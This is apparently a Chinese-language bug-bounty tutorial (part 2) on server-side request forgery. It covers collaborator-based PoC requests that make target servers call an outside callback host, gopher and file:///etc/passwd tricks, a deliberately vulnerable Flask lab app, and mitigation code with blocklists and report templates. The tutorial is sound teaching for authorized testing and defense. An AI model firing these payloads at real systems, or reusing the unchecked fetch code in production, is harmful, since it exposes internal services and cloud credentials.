SSRF 深度解析 — PoC、实验室与报告工具包(第 2 部分)

83 阅读7分钟

官网:http://securitytech.cc/

SSRF 深度解析 — PoC、实验室与报告工具包(第 2 部分)

副标题: 实战 PoC、高级向量、实验室配方、加固代码片段,以及可复制粘贴的报告模板,帮助你把 SSRF 漏洞转化为高价值的悬赏收益。

第 2 部分包含内容

  • 使用 collaborator 服务的盲 SSRF 证明技巧
    • 高级协议与解析器技巧(gopherfileftp 等)及其安全检测方法
    • 文档渲染器利用模式与 PoC 示例(非破坏性)
    • 一个用于安全测试 SSRF 的本地 Docker 实验室配方
    • 加固的缓解代码片段与网络规则
    • 可复制粘贴的报告模板与快速分级检查表
    • 伦理、红线与升级流程

快速回顾(一句话)

第 1 部分涵盖了检测信号与安全狩猎手册。第 2 部分则提供工具与现成的工件,帮你负责任地证明 SSRF 的影响、运行本地实验,并提交开发/运维团队能快速复现的报告。

盲 SSRF — 基于 collaborator 的证明(实战)

盲 SSRF 指的是应用发起了出站请求但不会把响应返回给你。collaborator 服务(如 Burp Collaborator、interactsh)是检测这些盲回调的最安全方法。

步骤 — 最小且可靠的证明

  1. 创建唯一的 collaborator 域名。 例如:uniqueid.interactsh.com 或使用 Burp Collaborator 的 payload。
    1. 构造候选请求。 使用应用期望的输入类型:查询参数、JSON 字段或请求头。
POST /api/preview HTTP/1.1
Host: target.example
Content-Type: application/json
{"url": "http://uniqueid.interactsh.io/poc"}
  1. 发送请求并监控 collaborator 日志。 DNS 记录表明服务器做了 DNS 解析;HTTP 记录表明它发起了 HTTP 调用。
    1. 关联时间戳与请求 ID。 如果应用返回任何请求 ID 或 trace header(例如 X-Request-ID),把它包含在报告中以帮助复现确切的日志行。

报告应附带的工件(Artifacts):

  • Collaborator 的 DNS/HTTP 日志(截图)
    • 你发送的完整请求(curl 或 Burp 的原始请求)
    • 任何服务器端的响应或错误信息
    • 时间戳(UTC)与请求 ID

Collaborator 仪表盘示例(展示 DNS 与 HTTP 命中)

高级协议与解析器技巧(该测试哪些并如何安全操作)

许多解析器接受的不仅仅是 http/https。在对目标(尤其是生产环境)测试前,请先被动测试或在实验室中测试

gopher://

  • 历史上曾被用于让服务器发送类似原始 TCP 的请求(常用于与 Redis、memcached 或其他文本协议服务对话)。
    • 安全测试建议: 仅在实验室使用 gopher:// 与 collaborator 域。对生产目标,避免尝试直接和内部服务通信——改为通过回调或错误判断是否接受该协议。

file:// 与本地路径

  • 如果渲染器或 fetcher 支持 file URI,可能会导致读取本地文件。
    • 安全测试建议: 在受控的预演环境中测试。未经明确许可,切勿在生产目标上尝试例如 file:///etc/passwd 之类的请求。

ftp://, ldap://, dict://, data:

  • 某些解析器支持这些协议,它们可能会触发网络调用或以不同方式解析内容。使用 collaborator 的回调来检测是否被接受,而不是尝试检索真实内部数据。

Host 头 / SNI 操作

  • 有些 SSRF 路径依赖于 Host header 与解析到 IP 的差异。如果你能控制影响 Host 头的输入,服务器可能会访问不同的后端。
    • 测试方式: 查找泄漏内部主机名的响应或错误。始终优先使用 collaborator 的证据,而不是直接内容检索。

概念图 — 协议攻击面示例(gopherfileftp 等)

文档渲染器 — 安全 PoC 模式

文档渲染器(PDF、HTML 转 PDF、图片处理器)是 SSRF 高发场景。它们通常在处理用户提供的内容时会去抓取图片、字体或样式表。

安全 PoC 模式

  1. 创建一个最小的 HTML/PDF,包含单个外部图片引用:
<img src="http://uniqueid.interactsh.io/tracker.png" />
  1. 上传/提交到渲染端点并监控 collaborator 日志。
    1. 如果发生抓取,记录时间戳并把它写入报告。

注意: 使用 1×1 像素图片或极小的 CSS 文件以减少负载。这能证明渲染器确实执行了网络抓取,同时不会影响内部系统。

PoC 示例(可直接复制粘贴、替换 uniqueid.interactsh.io 后发送)

查询参数(GET)

GET /preview?url=http://uniqueid.interactsh.io/poc HTTP/1.1
Host: target.example

JSON 正文(POST)

curl -s -X POST 'https://target.example/api/preview' \
-H 'Content-Type: application/json' \
-d '{"url":"http://uniqueid.interactsh.io/poc"}'

Multipart 文件上传(PDF)

  • 生成一个包含外部图片的 PDF,并通过 web 表单上传。使用托管在 collaborator 域上的 1x1 图片。

GraphQL 输入示例

mutation { createPreview(input: { sourceUrl: "http://uniqueid.interactsh.io/poc" }) { id } }

把 collaborator 日志和原始请求一起附上报告。

[图片:示例 curl 请求 + collaborator 日志并排(含注解)]

本地 Docker SSRF 实验室(可运行)

搭一个最小 SSRF 实验室来安全地测试利用。

包含文件

  • 一个 docker-compose.yml,包含两个服务:vulnerable-app(简单的 Node/Python 应用,接受 URL 并去请求它)和 interactsh-local(或使用公有的 interactsh 服务)。

示例 docker-compose.yml 片段

version: "3"
services:
vuln:
image: python:3.10
volumes:
- ./vuln:/app
working_dir: /app
command: python app.py
ports:
- "8080:8080"

易受攻击的应用(伪代码)

from flask import Flask, request
import requests
app = Flask(__name__)

@app.route('/preview', methods=['POST'])
def preview():
url = request.json.get('url')
r = requests.get(url, timeout=5)
return 'ok', 200

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

运行 docker-compose up,并使用你的 collaborator 服务或另一个容器作为回调服务器。

加固的缓解代码片段(工程师可直接用)

下面是实用且保守的代码示例。策略上优先建议网络级控制(例如 egress allowlist),代码检查作为补充。

改进的 URL 验证(Python 示例)

(注:原文里有排版混合的代码/文本,这里按可运行思路整理)

from urllib.parse import urlparse
import socket, ipaddress

DISALLOWED_RANGES = [
'10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16',
'127.0.0.0/8', '169.254.169.254/32'
]
blocked = [ipaddress.ip_network(n) for n in DISALLOWED_RANGES]

def is_safe_url(url):
p = urlparse(url)
# 仅允许 http(s)
if p.scheme not in ('http', 'https'):
return False
# 禁止包含凭证
if p.username or p.password:
return False
try:
infos = socket.getaddrinfo(p.hostname, None)
except Exception:
return False
for info in infos:
ip = ipaddress.ip_address(info[4][0])
for net in blocked:
if ip in net:
return False
return True

网络与基础设施规则(快速配置建议)

云防火墙示例

  • 在子网或 VPC 级别阻止目标 169.254.169.254/32(元数据地址)。
    • 对不需要内网访问的服务拒绝 RFC1918(私有网段)的外发连接。

Nginx 反向代理规则(示例)

# 拒绝 Host 头指向 metadata 地址
if ($http_host ~* "169\.254\.169\.254") {
return 444;
}

出站 allowlist 策略

  • 为每个服务维护出站 allowlist。使用服务网格或网络 ACL 强制执行。

网络与基础设施规则(快速配置)

报告模板与分级检查表(可直接复制粘贴)

标题: 盲 SSRF 通过 <endpoint> — 服务器对攻击者控制的主机发起出站请求

摘要: <endpoint> 接受 URL 并导致应用向攻击者控制的域发起出站请求。此行为可能被滥用以访问仅内部可达的服务、云元数据或其他敏感端点,具体影响取决于网络拓扑与访问权限。

严重性建议: 高 / 严重(请解释理由)

PoC 步骤(安全):

  1. 使用 collaborator uniqueid.interactsh.io
    1. 发送:POST <endpoint>,body 为 { "url": "http://uniqueid.interactsh.io/poc" }
    1. 在 collaborator 日志中观察到在 TIMESTAMP 的 DNS/HTTP 命中。

附件: collaborator 截图、原始请求、时间戳、任何返回的 X-Request-ID

建议修复措施: 网络出站 allowlist、阻断元数据地址、加强 URL 验证。

开发方分级检查表:

  • 使用附带的请求与时间戳复现问题。
    • 检查出站日志以确认发起请求的源主机/源 IP。
    • 针对元数据地址实施网络拦截并添加主机白名单验证。

伦理、范围与红线

切勿:

  • 未经授权地窃取或存储凭据或元数据。
    • 对仅内部访问的服务进行大规模扫描(禁止端口扫描、超范围探测)。
    • 越权升级或切换到账户的其他资源。

如果意外检索到敏感数据:立即停止、通知该漏洞计划,并按照其披露策略处理。

附录 — 工具、参考与延伸阅读

  • Burp Collaborator / Burp Suite
    • SSRF 资源与技术写作(链接占位)

公众号:安全狗的自我修养

vx:2207344074

Gitee:gitee.com/haidragon

GitHub:github.com/haidragon

Bilibili:haidragonx